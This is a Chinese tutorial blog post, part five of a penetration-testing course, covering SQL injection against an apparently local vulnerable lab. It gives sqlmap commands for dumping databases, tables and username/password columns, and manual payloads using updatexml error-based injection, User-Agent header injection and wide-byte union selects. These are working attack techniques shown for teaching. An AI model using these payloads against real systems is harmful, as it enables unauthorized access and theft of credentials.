《跟着表哥学渗透》之SQL注入(五)

admin 2022年12月8日11:20:07评论26 views字数 2282阅读7分36秒阅读模式

本节课让我们一起来看看SQL注入漏洞吧!因为涉及到的内容比较多。详细教程我会通过直播的形象进行单独讲解。

数字型注入(POST)

对于post请求,我们不能直接用sqlmap就行注入。需要抓包后,将包数据保存为txt在进行注入操作。

《跟着表哥学渗透》之SQL注入(五)

将包数据保存为txt文件后。直接sqlmap6来一梭!

sqlmap -r "22.txt" --dbs

如下,成功爆出了数据库。

《跟着表哥学渗透》之SQL注入(五)

爆出表

sqlmap -r "22.txt" -D kali --tables

表结构

sqlmap -r "22.txt" -D kali -T users --columns

表数据

sqlmap -r "/root/33.txt" -D kalibc -T users -C "username,password" --dump

字符型注入(get)

get相对于post就很简单了,直接将url放到我们的sqlmap中跑就行了。

sqlmap -u "http://192.168.123.129:88/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbs
《跟着表哥学渗透》之SQL注入(五)

搜索型注入

搜索型还是基于get请求,我们直接在sqlmap中跑就行了。

sqlmap -u "http://192.168.123.129:88/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" --dbs
《跟着表哥学渗透》之SQL注入(五)

xx型注入

由于XX型的只是SQL拼接方式不同,这里直接放结果。xx')or 1=1#即在url后面多了#在实际中无视即可。sqlmap直接跑。

sqlmap -u "http://192.168.123.129:88/vul/sqli/sqli_x.php?name=1&submit=%E6%9F%A5%E8%AF%A2#" --dbs
《跟着表哥学渗透》之SQL注入(五)

update/insert/dele注入

这几个分别是数据库的更新 插入 删除命令。相对于前面而言,略有难度。sqlmap直接跑是跑不出来的。需要我们手动构造相关指令。我们填写数据,点击提交后抓包。右键 Send To Repeater

获取数据库名

修改sex或者任意字段的值为下

' or updatexml(1,concat(0x7e,database()),0) or'

《跟着表哥学渗透》之SQL注入(五)

获取表名

' or updatexml(0,concat(0x7e,(select group_concat(TABLE_NAME) from INFORMATION_SCHEMA.tables where TABLE_SCHEMA='kali666')),0) or'

《跟着表哥学渗透》之SQL注入(五)

获取表中字段

' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),2) or '

《跟着表哥学渗透》之SQL注入(五)

获取字段内容

' or updatexml(1,concat(0x7e,(select concat_ws(':', username, password) from users limit 0,1)),1) or'
《跟着表哥学渗透》之SQL注入(五)

delete

和上一步一样。抓包!爆出数据库:

or updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

爆出表:

or updatexml(0,concat(0x7e,(select group_concat(TABLE_NAME) from INFORMATION_SCHEMA.tables where TABLE_SCHEMA='kali666')),0) or '' 

列名:

or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),2) or ''
《跟着表哥学渗透》之SQL注入(五)

http头注入

输入账号和密码抓包。我们将User-Agent的值设置为' 可以看到报错了。

《跟着表哥学渗透》之SQL注入(五)

爆出数据库

修改User-Agent的值为

 firefox' or updatexml(1,concat(0x7e,database()),0) or '

如下,成功爆出数据库。

《跟着表哥学渗透》之SQL注入(五)

同样的方法,我们可以得到对应的字段内容。

《跟着表哥学渗透》之SQL注入(五)

基于boolian的盲注

直接sqlmap跑就行了。

sqlmap -u "http://192.168.123.129:88/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbs
《跟着表哥学渗透》之SQL注入(五)

基于时间的盲注

和上面一样。sqlmap直接开搞!

宽字节注入

数据库

%df' union select 1,database() %23

《跟着表哥学渗透》之SQL注入(五)

%df' union select 1,group_concat(table_name) from information_schema.columns where table_schema=database()  %23
《跟着表哥学渗透》之SQL注入(五)

更多精彩文章 欢迎关注我们

详细演示,请锁定13:00大表哥的直播间!

原文始发于微信公众号(kali黑客笔记):《跟着表哥学渗透》之SQL注入(五)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月8日11:20:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   《跟着表哥学渗透》之SQL注入(五)http://cn-sec.com/archives/1451264.html

发表评论

匿名网友 填写信息